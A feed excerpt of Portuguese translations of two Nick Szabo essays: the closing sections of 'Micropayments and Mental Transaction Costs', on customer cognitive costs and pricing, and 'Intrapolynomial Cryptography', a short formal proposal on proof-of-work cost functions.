&lt;p>Dada a solução de outros problemas de custos de transação, os custos da contabilidade mental tornam-se sujeitos ao limite do processo de comunicação de preferências — seja pela escolha mental contábil de um bem sobre outro ou pela criação de um simulacro de software único e suficientemente preciso das preferências do comprador, que completa o processo de orçamento, negociação e compra. Até que ponto e com que eficiência pode (a) um comprador comunicar preferências subjetivas ao software, e (b) o software pode representar e agir no interesse dessas preferências objetivadas? A presença de mecanismos de pesquisa, formulários de pedidos de catálogo, pesquisas de marketing e interações mais sofisticadas como firefly demonstram que tal comunicação e representação são viáveis e importantes, mas parecem ser dispendiosas e talvez fundamentalmente limitados de alguma forma.&lt;/p>
&lt;h2 id="5-fluxo-de-caixa-incerto-e-seguro">5 Fluxo de Caixa Incerto e Seguro&lt;/h2>
&lt;p>A primeira fonte de custos de transação mental do cliente que examinaremos é sua incerteza sobre seus futuros fluxos de caixa. Podemos caracterizar dois tipos de incerteza que os clientes têm sobre seus futuros fluxos:&lt;/p>
&lt;ol>
&lt;li>Incerteza de renda&lt;/li>
&lt;li>Incerteza das despesas, ou seja, incerteza sobre as preferências futuras e as transações entre preferências em diferentes períodos de tempo. Esse tipo de incerteza também desempenha um papel em uma seção subsequente, &amp;ldquo;Tomada de decisão Incompleta e Cara&amp;rdquo;.&lt;/li>
&lt;/ol>
&lt;p>Uma taxa fixa constitui um contrato de seguro incorporado e implícito. [AL95] discute alguns aspectos das preferências de risco implicitamente incorporadas nas transações econômicas. Esse seguro implícito também é uma hipótese de [CL79] para explicar a preferência do cliente pelas tarifas no setor de telefonia.&lt;/p>
&lt;p>Os custos do cliente são especialmente altos quando o cliente tem um rendimento fixo e alto custo de crédito e/ou falta de poupança em relação à variável, demasiado dispendioso para calcular ou prever preferências quanto à quantidade ou mistura de itens comerciais a comprar.&lt;/p>
&lt;p>O risco colocado para o cliente não é melhor entendido como ficar sem dinheiro &lt;em>per si&lt;/em>, mas sim como a inanição de outras preferências devido a incertezas na estimativa de recursos futuros disponíveis para serem gastos em preferências para serem satisfeitas no futuro.&lt;/p>
&lt;p>A falta inesperada de dinheiro leva a preferências insatisfeitas. A incerteza sobre a disponibilidade de caixa leva ao custo cognitivo e à incompletude na decisão sobre como normalizar as preferências entre dois períodos de tempo.&lt;/p>
&lt;p>Uma abordagem simplificadora para formalizar a incerteza de renda seria assumir que os atributos podem ser observados perfeitamente e sem custos, e todos os atributos são contabilizados de forma perfeita e sem custos, enquanto o cliente retém a incerteza sobre seus rendimentos futuros.&lt;/p>
&lt;p>Este risco do cliente deve ser negociado contra o risco para o fornecedor de uso excessivo de recursos (análogo, neste contrato de seguro implícito, ao risco moral, mas não oculto do fornecedor). Na maioria das situações de varejo, a capacidade do fornecedor de controlar esses riscos (cobrindo, distribuindo custos, etc.) é geralmente muito menor do que a do consumidor. A taxa de entrada também pode proteger o cliente contra o comportamento oportunista posterior do fornecedor, onde os custos de troca de clientes são altos.&lt;/p>
&lt;h3 id="51-delegação">5.1 Delegação&lt;/h3>
&lt;p>Quando o cliente delega a compra de um produto ou serviço durante um determinado período a um agente, uma taxa fixa limita a exposição do princípio/cliente (mas não o fornecedor) ao abuso do recurso pelo agente. Novamente, isso pode ser desejável quando o fornecedor tem mais capacidade do que o cliente para planejar esses usos e distribuir os custos desse uso de recursos entre muitos clientes.&lt;/p>
&lt;p>Uma taxa unitária com um limite superior fixo (por exemplo, cartão de telefone) pode facilitar o uso de sistemas de taxa variável, mantendo o fluxo de caixa. Isso converte o contrato implícito de seguro de propagação de risco com preço médio para apenas um grande &amp;ldquo;dedutível&amp;rdquo;. Este remédio mantém o risco de preferências famintas por este bem, mas elimina (com algum custo) os riscos de fome de preferência geral devido à falta de dinheiro.&lt;/p>
&lt;h2 id="6-custos-de-observação-de-atributo">6 Custos de Observação de Atributo&lt;/h2>
&lt;p>A segunda fonte de custos de transação mental do cliente que veremos é o custo e o erro envolvidos na observação dos atributos de produtos e serviços. Nós introduzimos este problema acima.&lt;/p>
&lt;p>Que a verificação de qualidade do cliente impõe um custo econômico significativo foi discutida desde pelo menos Charles Babbage [B1835]. Tentativas recentes para esclarecer a natureza desses custos incluem ([A70], [B82]).&lt;/p>
&lt;h3 id="61-observação-de-atributos">6.1 Observação de Atributos&lt;/h3>
&lt;p>Atributos observados raramente são os atributos realmente valorizados. Em uma seção anterior, mencionamos que Barzel [B82], em particular, estudou essa questão. Neste artigo, não presumimos que o observador sumarize as observações como valores numéricos. Então, em contraste com o termo &lt;em>medição&lt;/em> de Barzel, vamos nos ater à &lt;em>observação&lt;/em> mais geral. Em uma &lt;em>observação por representação&lt;/em>, o produto ou serviço X é observado pelos atributos &lt;!-- raw HTML omitted -->X&lt;!-- raw HTML omitted -->o&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->, enquanto é valorizado pelos atributos &lt;!-- raw HTML omitted -->X&lt;!-- raw HTML omitted -->v&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->, que são frequentemente tácitos.&lt;/p>
&lt;h3 id="62-venda-às-cegas-com-uma-marca-de-confiança">6.2 Venda às Cegas com uma Marca de Confiança&lt;/h3>
&lt;p>[B92] e [KK83] desenvolveram o seguinte cenário, o que sugere o cenário abaixo para micropagamentos via Web.&lt;/p>
&lt;p>Lembre das maçãs. Suponha que o atributo representativo da cor esteja correlacionado positivamente com o gosto. Em uma lixeira aberta, os clientes usariam esse atributo para selecionar as melhores maçãs coloridas, deixando as mais pálidas e malhadas para a caixa com maior desconto ou para o lixo.&lt;/p>
&lt;p>Um comprador que esteja convencido de que recebeu uma seleção aleatória de uma ótima observação de uma mercadoria não usará recursos adicionais para observação. Um exemplo de venda cega é a venda de maçãs em um saco opaco. Enquanto a marca é confiável, os clientes economizam nos custos de competir uns com os outros para escolher as melhores maçãs coloridas.&lt;/p>
&lt;p>A venda às cegas exige que os nomes de marca sejam confiáveis com (1) uniformidade do bem ou (2) aleatoriedade representativa, suprimindo informações específicas para forçar a escolha aleatória de todos os compradores.&lt;/p>
&lt;h3 id="63-um-esquema-de-pagamento-por-clique">6.3 Um esquema de pagamento por clique&lt;/h3>
&lt;p>Há algum tempo que se ouve falar da ideia de &amp;ldquo;pagamento por clique&amp;rdquo;, um pagamento a cada clique na Web para pagar ao proprietário pelo conteúdo. No entanto, como não houve nenhuma chance de navegar pelo conteúdo, não há como determinar diretamente se ele atende às preferências tácitas: não há preferência explícita observável pelo cliente. Navegar em uma visualização ou capa do livro ainda é impreciso e implica em custos mentais cada vez mais precisos.&lt;/p>
&lt;p>Uma possível correção é que o software do comprador compare preços de compra com um serviço de &amp;ldquo;relatórios ao consumidor&amp;rdquo;. Nós aqui examinamos uma ideia similar, a de marcar os links.&lt;/p>
&lt;p>Como um exemplo de como alguém pode lidar com os custos de observação de atributos, precisamos desenvolver um atributo representativo de precisão suficientemente alta e baixo custo. Para esse fim, apresentamos um cenário de links de marca para o conteúdo microprecificado. Uma marca famosa abençoa o link com seu logotipo. Podem haver logotipos diferentes para diferentes tipos de conteúdo, conteúdo de especialidade etc. (por exemplo, um periódico acadêmico pode analisar e, em seguida, marcar artigos em sua especialidade). Autores individuais de reputação suficiente podem criar suas próprias marcas. Isso implica um investimento em um único autor por um número significativo (mas proporcionalmente apenas uma participação de mercado muito pequena) de clientes de uma fração substancial de seu &amp;ldquo;orçamento de rastreamento de marca&amp;rdquo;.&lt;/p>
&lt;p>Isso destaca um problema com o conteúdo da marca: as marcas levam em consideração apenas valores amplamente compartilhados, não valores pessoais. Isso não funciona tão bem para conteúdos cujos gostos são idiossincráticos de tal maneira que não podem ser organizados em uma especialidade. Quanto mais especialidades forem marcadas por cliente, maiores serão os custos de manutenção de todas as marcas.&lt;/p>
&lt;h3 id="64-custos-de-mudança">6.4 Custos de Mudança&lt;/h3>
&lt;p>Outro problema dos links de marca é que não eliminamos os custos mentais de transação. Nós apenas mudamos sua natureza, esperançosamente no processo de reduzi-los. A avaliação da marca em si impõe custos cognitivos. Em particular, as marcas exigem que os clientes invistam em observar e relembrar o histórico de qualidade da marca. Este investimento cria &amp;ldquo;fidelidade à marca&amp;rdquo; ou custos de troca, estudados por [K95].&lt;/p>
&lt;p>Combinado com a incerteza do consumidor sobre o preço futuro, tais investimentos incentivam a criação de contratos de longo prazo em lugar de preços à vista [W85], ou a taxas em vez de micropagamentos.&lt;/p>
&lt;h3 id="65-atributos-ocultos-no-software-de-processamento-de-transação">6.5 Atributos Ocultos no Software de Processamento de Transação&lt;/h3>
&lt;p>Uma tarefa importante das transações comerciais, que tem sido largamente negligenciada pelo comércio eletrônico tradicional, é fundamental para &amp;ldquo;o encontro das mentes&amp;rdquo; que está no centro de um contrato: comunicar a semântica dos protocolos às partes envolvidas. Há uma ampla oportunidade no comércio eletrônico para &amp;ldquo;letras miúdas inteligentes&amp;rdquo;: ações tomadas pelo software escondido de uma parte da transação. Por exemplo, as máquinas POS da mercearia não dizem aos clientes se seus nomes estão ou não sendo vinculados a suas compras em um banco de dados. Os funcionários nem sabem, e eles processaram milhares dessas transações sob o nariz deles. Assim, por meio da ação oculta do software, o cliente está fornecendo informações que podem considerar valiosas ou confidenciais, mas o contrato foi elaborado e a transação foi projetada de modo a ocultar as partes importantes dessa transação do cliente.&lt;/p>
&lt;p>Sem interfaces de usuário, o comércio eletrônico é praticamente invisível, como a eletrônica nos motores de carros mais novos. Isso é uma bênção — as contrapartes não precisam se sentir como se estivessem lidando com computadores hostis ao usuário — e uma maldição — com o problema de &amp;ldquo;letras miúdas inteligentes&amp;rdquo; de ações ocultas.&lt;/p>
&lt;p>Aqui está um pequeno exemplo de letras miúdas inteligentes:&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Para comunicar a semântica de transação adequadamente, precisamos de boas metáforas visuais para os elementos do contrato. Estes ocultariam os detalhes do protocolo sem renunciar ao controle sobre o conhecimento e a execução dos termos do contrato. Isso é discutido mais adiante em uma seção subsequente.&lt;/p>
&lt;p>Uma maneira de proteger-se contra ações ocultas é especificar mais detalhes contratuais para cobrir situações mais excepcionais e evitar mais oportunidades estratégicas. Contudo, isso também é incompleto e caro [W85].&lt;/p>
&lt;h2 id="7-tomada-de-decisão-incompleta-e-caro">7 Tomada de Decisão Incompleta e Caro&lt;/h2>
&lt;p>Assumindo, no momento, informações perfeitas sobre o produto em questão e nenhuma incerteza quanto aos futuros fluxos, uma terceira e mais básica fonte de custo cognitivo do cliente permanece, ou seja, o custo de tomar decisões com um grande, mas muito incompleto, conjunto de alternativas.&lt;/p>
&lt;h3 id="71-tomada-de-decisão">7.1 Tomada de Decisão&lt;/h3>
&lt;p>A incompletude da tomada de decisões decorre da incompletude da observação de todos os atributos do mundo que podem ser preferidos. Foi também argumentado, por outros motivos, que a teoria da decisão, a base para a maioria das teorias econômicas de preferências, é incompleta, por exemplo Pettit [P91].&lt;/p>
&lt;p>Ao equilibrar um portfólio de preferências, o número de alternativas que podem ser consideradas, embora minúsculas em comparação ao número de alternativas realmente no mundo, é tão vasto a ponto de ser computacionalmente inviável de pesquisar quando se toma uma decisão sobre um determinado item comercial . A completitude com que as preferências comerciais podem ser feitas localmente e eficientemente não é clara [K88].&lt;/p>
&lt;h3 id="72-preferências-tácitas">7.2 Preferências Tácitas&lt;/h3>
&lt;p>Um modelo de tomada de decisões, que engloba tudo, desde uma computação altamente heurística a uma tabela completa de alternativas, pode ser fornecido postulando uma função de atributos e preferências para decisões:&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->T&lt;!-- raw HTML omitted -->c&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted --> : customer tacit preference rule&lt;br>
&lt;!-- raw HTML omitted -->a&lt;!-- raw HTML omitted -->c,s&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->: atributo observado pelo cliente e fornecedor&lt;br>
&lt;!-- raw HTML omitted -->p&lt;!-- raw HTML omitted -->c,s&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->: cliente e fornecedor observaram preferência por atributo&lt;br>
função de formação de preferências (regra de preferência tácita): &lt;!-- raw HTML omitted -->T&lt;!-- raw HTML omitted -->c&lt;!-- raw HTML omitted --> : a&lt;!-- raw HTML omitted -->c&lt;!-- raw HTML omitted --> → p&lt;!-- raw HTML omitted -->c,s&lt;!-- raw HTML omitted -->&lt;!-- raw HTML omitted -->&lt;/p>
&lt;p>Uma regra tácita semelhante pode ser especificada para atributos, conforme observado apenas pelo cliente.&lt;/p>
&lt;p>Chamamos isso de &amp;ldquo;tácito&amp;rdquo;, porque essas regras não precisam ser articuladas para funcionar adequadamente e, provavelmente, não estão na prática. Em particular, &amp;ldquo;elicitação de preferência&amp;rdquo; na literatura econômica provoca apenas a saída, o fornecedor observou preferências explícitas, não a regra em si, nem as preferências alternativas deixadas de lado na decisão observada. Polanyi [P58], entre outros, argumentou que a maioria das decisões humanas é tácita.&lt;/p>
&lt;p>Na prática, haverá outra função para pré-calcular as informações para alimentar a regra de preferência tácita, para conservar os custos cognitivos em tempo real que são mais caros do que os custos cognitivos no lazer.&lt;/p>
&lt;p>Outra fonte de incompletude é a incapacidade de predizer preferências antes de serem mostrados atributos que podem ser preferidos — porque o processo de tomada de decisão é baseado em uma regra tácita abstrata ao invés de conhecimento de todos os atributos particulares que podem ser encontrados. Devido à indução incompleta das preferências por atributos específicos às regras gerais, o cliente muitas vezes não pode expressar preferências sem o estímulo de observar os atributos, mesmo nos casos em que o atributo foi observado antes em outros contextos.&lt;/p>
&lt;h3 id="73-preferências-tácitas-intertemporais">7.3 Preferências Tácitas Intertemporais&lt;/h3>
&lt;p>A formação de preferências, nesta teoria, ocorre pelo menos parcialmente quando novos atributos são observados. Esses atributos são inseridos na regra de preferência tácita, resultando em decisões ou preferências explícitas. Como, então, as compensações podem ser feitas contra preferências futuras quando a natureza dessas preferências ainda não é bem conhecida? A regra tácita é acionada no instante &lt;!-- raw HTML omitted -->t1&lt;!-- raw HTML omitted -->, depois novamente em &lt;!-- raw HTML omitted -->t2&lt;!-- raw HTML omitted -->: como essas duas avaliações da regra podem ser comensuráveis?&lt;/p>
&lt;p>As preferências tácitas são uma área rica para trabalhos futuros na caracterização de custos de transação mental.&lt;/p>
&lt;h2 id="8-preferências-e-metáforas-visuais">8 Preferências e Metáforas Visuais&lt;/h2>
&lt;p>Para avaliar a conveniência de uma transação, e para evitar ser cobrado incorretamente, as partes de uma transação têm que contabilizar, ou seja, contabilizar o dinheiro pago por produtos e serviços específicos — garantindo que os pagamentos em dinheiro sejam feitos como prometido (por exemplo, no visor, à medida que os produtos são digitalizados na loja ou após o recebimento), ou garantindo que a conta telefônica seja adequada. Nesta seção, &amp;ldquo;contabilidade&amp;rdquo; é usada nesse sentido amplo.&lt;/p>
&lt;p>Um cliente pode estar pagando em dinheiro, mas muitas vezes ele ainda gostaria de saber como e por que seu dinheiro entra e sai. Um log de transações é a ferramenta mais usada para auxiliar nessa tarefa. Podem haver outras metáforas mais apropriadas para algumas circunstâncias (por exemplo, medidores de nível absolutos, medidores de vazão com marcas de água altas e baixas, etc.); Este é um novo campo potencialmente fértil para explorar. Podem haver agentes que possam fazer parte da contabilidade (por exemplo, comparando pagamentos feitos com termos prometidos, limites de pagamento, etc.), mas para a grande maioria dos produtos e serviços, o software não pode julgar a qualidade ou o desejo pessoal do produto ou serviço. e, portanto, a desejabilidade líquida da transação. O usuário deve realizar essa comparação com qualquer informação que o computador possa fornecer através do display. A interface do usuário e a cognição do usuário, portanto, permanecem o gargalo para a granularidade da transação.&lt;/p>
&lt;p>Uma grande tarefa é usar o poder da interface gráfica do usuário para criar novas metáforas para tornar isso mais fácil. É a metáfora intuitiva, porém precisa, que reduzirá os custos contábeis. Protocolos criptográficos reduzem potencialmente apenas os custos de transação relacionados à segurança, como falsificação e extorsão. Para os custos normais de transação contábil, que atualmente são muito altos para micropagamentos, precisamos de melhores metáforas visuais interativas.&lt;/p>
&lt;p>Para transações livres de registros, precisamos de transações que possam ser transacionadas de maneira justa uma vez, imediatamente explicadas pelas partes por meio de uma metáfora visual agradável e depois esquecidas. O potencial para disputas não resolvidas em sistemas sem registros é vasto para transações onde isso não é possível (provavelmente a maior parte do comércio desejado: onde a qualidade de um produto ou serviço não pode ser bem determinada até que a transação de compra seja concluída ou onde o crédito esteja envolvido).&lt;/p>
&lt;p>O preço é um tipo de termo contratual; também precisamos de boas metáforas para rastrear outros tipos de termos contratuais. A falta de observabilidade do protocolo por parte do usuário leva à capacidade da contraparte de se envolver em ações ocultas. Veja [S97] para uma discussão mais aprofundada deste e de outros problemas de contratação informatizados.&lt;/p>
&lt;p>Uma das barreiras para criar bons contratos é determinar o que as partes querem em primeiro lugar. As pessoas tendem a pensar em termos de condições padrão ou estereotipadas: pagamento em dólares, investimento em ações, etc., quando existe uma variedade muito maior de estruturas contratuais alternativas que, combinadas adequadamente, poderiam atender melhor às necessidades das partes. Seria útil ter ferramentas que permitissem às partes explorar seus desejos de forma interativa com o computador. Em finanças, isso pode incluir curvas de juros pessoais interativas, determinando a ordem parcial dos desejos (como na teoria da decisão) para títulos, derivativos e produtos sintéticos alternativos específicos; e assim por diante. O software então analisaria essa entrada, faria recomendações e até mesmo realizaria contratações automatizadas. As metáforas devem ser desenvolvidas de modo que seja fácil para os usuários leigos expressar tais desejos sem amplo conhecimento de finanças ou teoria da decisão. Tais metáforas forneceriam um front-end amigável para trocas automatizadas, leilões e outros mecanismos de contratação online.&lt;/p>
&lt;p>Uma metáfora específica é o orçamento pessoal, como o tipo que pode ser mantido no software Quicken(tm). Ao escrever um orçamento, o cliente cria um simulacro crasso de suas preferências tácitas esperadas, expressas de uma forma muito abstrata.&lt;/p>
&lt;h2 id="9-conclusão">9 Conclusão&lt;/h2>
&lt;p>Algum trabalho foi feito para determinar as preferências do cliente para uso versus taxas. Uma tentativa recente de comércio na Internet é o INDEX (the INternet Demand Experiment ou Experimento de Demanda Interna) [I99]. A Internet em geral (e a AOL, em particular, é um bom exemplo) viu o movimento se afastar das taxas horárias ou de uso para as taxas.&lt;/p>
&lt;p>Também houve trabalho em estudos de empresas de telefonia durante a desregulamentação dos EUA. [FOS97] faz referência e discute algumas das evidências empíricas, originalmente apresentadas em [CL79] e trabalhos relacionados, mostrando a preferência do cliente por taxas no setor de telefonia.&lt;/p>
&lt;p>Uma lição para os esforços de micropagamento é que os custos mentais geralmente excedem, e frequentemente diminuem, os custos computacionais. As reduções nos custos computacionais por transação das transações podem muitas vezes ser economicamente insignificantes. Outros custos de transação endereçáveis por hardware ou software, como preocupações com segurança, bem como custos de melhor comunicação da qualidade do produto versus compensações de preço na interface do usuário, são geralmente objetivos mais importantes para redução de custo tecnológico do que conservação em recursos computacionais ou de rede.&lt;/p>
&lt;p>Vimos como os custos mentais de transação do cliente podem derivar de pelo menos três fontes: caixa de itens incertos, observação incompleta e dispendiosa dos atributos do produto e tomada de decisão incompleta e dispendiosa. Esses custos irão dominar cada vez mais os custos tecnológicos dos sistemas de pagamento, estabelecendo um limite para a granularidade do agrupamento e dos preços. Os preços não vêm de graça.&lt;/p>
&lt;h2 id="10-referências">10 referências&lt;/h2>
&lt;p>[A70] Akerlof, G.A., &amp;ldquo;The Market for &amp;lsquo;Lemons&amp;rsquo;: Quality Uncertainty and the Market Mechanism,&amp;rdquo; Quarterly Journal of Economics, 84(3), 488-500.&lt;/p>
&lt;p>[AL95] Allen, D.W. and Lueck, D. (1995), &amp;lsquo;Risk Preferences and the Economics of Contracts&amp;rsquo;, 5 American Economic Review, Papers and Proceedings, 447-451.&lt;/p>
&lt;p>[B1835] Babbage, C. &lt;em>On the economy of machinery and manufactures&lt;/em>, 4th ed. New York: Kelley, 1963. (Facsimile reprint of the edition published in London by Knight, 1835).&lt;/p>
&lt;p>[Be95] Bellare, M. et. al., &amp;ldquo;A Family of Secure Electronic Payment Protocols&amp;rdquo;, &lt;em>Proceedings of the Usenix Electronic Commerce Workshop&lt;/em>, 1995&lt;/p>
&lt;p>[Bz82] Barzel, Y., &amp;ldquo;Measurement Costs and the Organization of Markets,&amp;rdquo; &lt;em>Journal of Law and Economics&lt;/em>, 25, 27-48.&lt;/p>
&lt;p>[BB97] Bakos, Y., and Brynjolfsson, E. &amp;ldquo;Aggregation and disaggregation of information goods: Implications for bundling, site licensing and micropayment systems.&amp;rdquo; In &lt;em>Internet Publishing and Beyond: The Economics of Digital Information and Intel lectual Property&lt;/em>. D. Hurley, B. Kahin, and H. Varian, eds., MIT Press. Also at &lt;a href="http://www.gsm.uci.edu/bakos/aig/aig.html" target="_blank" rel="noopener noreferrer">http://www.gsm.uci.edu/bakos/aig/aig.html&lt;/a>
&lt;/p>
&lt;p>[CL79] Cosgrove, J. G., and Linhart, P. B., &amp;ldquo;Customer choices under local measured telephone service.&amp;rdquo;, &lt;em>Public Utilities Fortnightly&lt;/em>, Aug. 30, 27-31.&lt;/p>
&lt;p>[FOS97] Fishburn, P, Odlyzko, A.M., and Siders, R.C., &amp;ldquo;Fixed fee versus unit pricing for information goods: competition, equilibria, and price wars&amp;rdquo;, &lt;em>First Monday&lt;/em>, Vol.2 No.7 - July 7th. 1997, &lt;a href="http://www.firstmonday.dk/issues/issue27/odlyzko/index.html" target="_blank" rel="noopener noreferrer">http://www.firstmonday.dk/issues/issue27/odlyzko/index.html&lt;/a>
&lt;/p>
&lt;p>[GMAGS95] Glassman, S., Manasse, M. Abadi, M., Gauthier, P.S., &amp;ldquo;The MilliCent Protocol for Inexpensive Electronic Commerce&amp;rdquo;, Proceedings of the 4th International World Wide Web Conference — December, 1995. For proposed uses, see &lt;a href="http://www.millicent.digital.com/works/white_papers/index.html" target="_blank" rel="noopener noreferrer">http://www.millicent.digital.com/works/white_papers/index.html&lt;/a>
&lt;/p>
&lt;p>[H45] Hayek, F. &amp;ldquo;The Use of Knowledge in Society&amp;rdquo;, &lt;em>American Economic Review&lt;/em>, 35 (September 1945): 519-530&lt;/p>
&lt;p>[H89] Hart, O., &amp;ldquo;Incomplete Contracts,&amp;rdquo; In: John Eatwell, Murray Milgate, and Peter Newman (eds.), &lt;em>The New Palgrave: Al location, Information, and Markets&lt;/em>. New York: Norton.&lt;/p>
&lt;p>[I99] &lt;a href="http://www.index.berkeley.edu" target="_blank" rel="noopener noreferrer">http://www.index.berkeley.edu&lt;/a>
&lt;/p>
&lt;p>[K88] Kreps, D. M., &lt;em>Notes on the Theory of Choice&lt;/em>, Westview, 1988&lt;/p>
&lt;p>[K95] Klemperer, P., &amp;ldquo;Competition When Consumers Have Switching Costs: An Overview with Applications to Industrial Organization, Macroeconomics, and International Trade&amp;rdquo;, &lt;em>Review of Economic Studies&lt;/em> 62(4) pages 515-39.&lt;/p>
&lt;p>[KK83] Kenney, R. W. and Klein, B., &amp;ldquo;The Economics of Block Booking&amp;rdquo;, &lt;em>Journal of Law and Economics&lt;/em>, 26, 497-541.&lt;/p>
&lt;p>[M35] Mises, L. v. &lt;em>Human Action&lt;/em>, 3d edition (Regnergy, 1996)&lt;/p>
&lt;p>[MD88] Miller, M. and Drexler., K.E., &amp;ldquo;Markets and Computation: Agorics Open Systems&amp;rdquo;, in &lt;em>The Ecology of Computation&lt;/em>, Bernardo Huberman (ed.) Elsevier Science Publishers/North-Holland, 1988.&lt;/p>
&lt;p>[N98] Nielsen, J., &amp;ldquo;The Case for Micropayments&amp;rdquo;, Jakob Nielsen&amp;rsquo;s Alertbox for January 25, 1998, &lt;a href="http://www.useit.com/alertbox/980125.html" target="_blank" rel="noopener noreferrer">http://www.useit.com/alertbox/980125.html&lt;/a>
. See also sidebar &amp;ldquo;User Interfaces for Internet Payments&amp;rdquo; and reader comments.&lt;/p>
&lt;p>[P58] Polanyi, M. &lt;em>Personal Knowledge&lt;/em>, University of Chicago Press, 1958&lt;/p>
&lt;p>[P91] Pettit, P., &amp;ldquo;Decision Theory and Folk Psychology&amp;rdquo;, in Bacharach, Michael and Hurley, Susan ed., &lt;em>Foundations of Decision Theory&lt;/em>, Blackwell, 1991&lt;/p>
&lt;p>[RS96] Rivest, R.L. and Shamir, A. &amp;ldquo;PayWord and MicroMint—Two Simple Micropayment Schemes&amp;rdquo;, &lt;em>CryptoBytes&lt;/em>, volume 2, number 1 (RSA Laboratories, Spring 1996), 7—11&lt;/p>
&lt;p>[S97] Szabo, N. (1997) &amp;ldquo;Formalizing and Securing Relationships on Public Networks&amp;rdquo;, First Monday, Vol.2 No.9 - September 1st. 1997, &lt;a href="http://www.firstmonday.dk/issues/issue29/szabo/index.html" target="_blank" rel="noopener noreferrer">http://www.firstmonday.dk/issues/issue29/szabo/index.html&lt;/a>
&lt;/p>
&lt;p>[W85] Williamson, O. E. &lt;em>The Economic Institutions of Capitalism&lt;/em>, Free Press/McMillan, 1985&lt;/p>
&lt;h2 id="11-agradecimentos">11 Agradecimentos&lt;/h2>
&lt;p>Meus agradecimentos a Robert Horn, Hal Varian, Doug Barnes, Ian Grigg e outros por seus comentários úteis.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;p>Fonte: &lt;a href="https://nakamotoinstitute.org/literature/micropayments-and-mental-transaction-costs/" target="_blank" rel="noopener noreferrer">Micropayments and Mental Transaction Costs - Nick Szabo&lt;/a>
&lt;/p></content:encoded></item><item><title>Criptografia Intrapolinomial</title><link>https://cypherpunks.com.br/documentos/criptografia-intrapolinominal/</link><pubDate>Fri, 01 Jan 1999 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/criptografia-intrapolinominal/</guid><description>Pesquisadores têm proposto uma variedade de “desafios para clientes” e “trabalho pesado” como o hashcash, MicroMint, Bit Gold e a Postagem com Custo Computacional para criar uma moeda independente ou fazer o spam ficar custoso. A implicação matemática desta proposta é de que existe uma “criptografia intrapolinomial”.</description><content:encoded>&lt;pre tabindex="0">&lt;code>Traduzido por: Steffan Diorgy, Davi Figueiredo
Revisado por: Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;!-- raw HTML omitted -->Nick Szabo&lt;!-- raw HTML omitted -->&lt;/p>
&lt;h4 id="1999">1999&lt;/h4>
&lt;p>&lt;/p>
&lt;p>Pesquisadores têm proposto uma variedade de “desafios para clientes” e “trabalho pesado” como o hashcash, MicroMint, Bit Gold e a Postagem com Custo Computacional para criar uma moeda independente ou fazer o spam ficar custoso. A implicação matemática desta proposta é de que existe uma “criptografia intrapolinomial”. As 4 motivações para a teoria da criptografia intrapolinomial são (a) as novas construções como as mencionadas anteriormente, (b) estimativas mais acuradas sobre o custo para se quebrar uma cifra, (c) é possível que seja mais fácil provar os limites menores ao invés de apenas executá-los, como na criptografia superpolinomial (padrão), e (d) se não existe nenhuma função digestiva (one-way function), a criptografia padrão é intrapolinomial ao invés de superpolinomial.&lt;/p>
&lt;p>Proponho a seguinte formalização:&lt;/p>
&lt;pre>&lt;code>Assumindo que:
f: {0,1}* --&amp;gt; {0,1}* é chamada de Função k-benchmark forte
para uma máquina de um modelo M e k&amp;gt;=1 se:
1.f for processado no tempo O(p(n)) na máquina M, onde p é polinomial.
2.f não reduza os dados inseridos mais do que q(n,k), onde q(n,k) é um polinômio de grau k.
3.Para cada algoritmo aleatório A que seja processado em M em um tempo menor que q(n,k)p(n), existe um N tal que n &amp;gt; N
Pr[A(f(x)) = f^-1(f(x))] &amp;lt; 1/q(n,k)p(n)
&lt;/code>&lt;/pre>
&lt;p>Em outras palavras, não existe um algoritmo mais rápido que q(n,k)p(n) que possa inverter f em um número significante de valores.&lt;/p>
&lt;p>É possível definir casos médios, melhor dos casos e pior dos casos para a função de benchmark de grau k. O questionamento (análogo a questão da criptografia superpolinomial, se existe uma função de uma única via): Serã que podemos provar (3) os limites superiores e inferiores para um função qualquer e k&amp;gt;=1 em uma máquina real como a RAM-log?&lt;/p>
&lt;p>Casos fortes e médios são os mais oportunos em casos relacionados a criptografia. Infelizmente, para estes propósitos nós também precisamos de:&lt;/p>
&lt;ol>
&lt;li>uma lista de máquinas que compreenda todos os modelos praticáveis de máquina, no sentido de que qualquer uma dessas máquinas possam ser simuladas com uma pequena sobrecarga, como uma constante ou O(log(n)).&lt;/li>
&lt;li>para provar os limites inferiores em uma função de benchmark para todos os modelos da lista.&lt;/li>
&lt;/ol>
&lt;p>Sabendo que isso é, no mínimo, muito chato, esperamos conseguir uma pequena lista que cubra todas as arquiteturas plausíveis. Isto pode funcionar para provar que a exposição total de um protocolo de quebra (cracking protocol) é menor que os custos de pesquisa e desenvolvimento de uma arquitetura para derrotar este mesmo protocolo. A análise criptográfica (cryptanalyis) deve descobrir quais arquiteturas são interessantes para quebrar uma cifra intrapolinomial.&lt;/p>
&lt;p>Existe ao menos duas implicações práticas da análise anterior. A primeira é que existe pouquíssimo espaço para erro para a análise e implementação da postagem com custo computacional, hashcash, bit gold, MicroMint e outros modelos de criptografia intrapolinomiais. A segunda é que, a menos que o oponente tenha pouco dinheiro e esteja limitado a um computador pessoal, não faz sentido analisar a segurança ou o custo desses esquemas sem fazer referência a arquitetura da máquina. Por exemplo, propagadores de spam (spammers) poderiam acabar com o custo computacional usando placas artesanais otimizadas para resolver um problema particular.&lt;/p>
&lt;hr>
&lt;p>Fonte: &lt;a href="https://www.fon.hum.uva.nl/rob/Courses/InformationInSpeech/CDROM/Literature/LOTwinterschool2006/szabo.best.vwh.net/intrapoly.html" target="_blank" rel="noopener noreferrer">Intrapolynomial Cryptography - Nick Szabo&lt;/a>
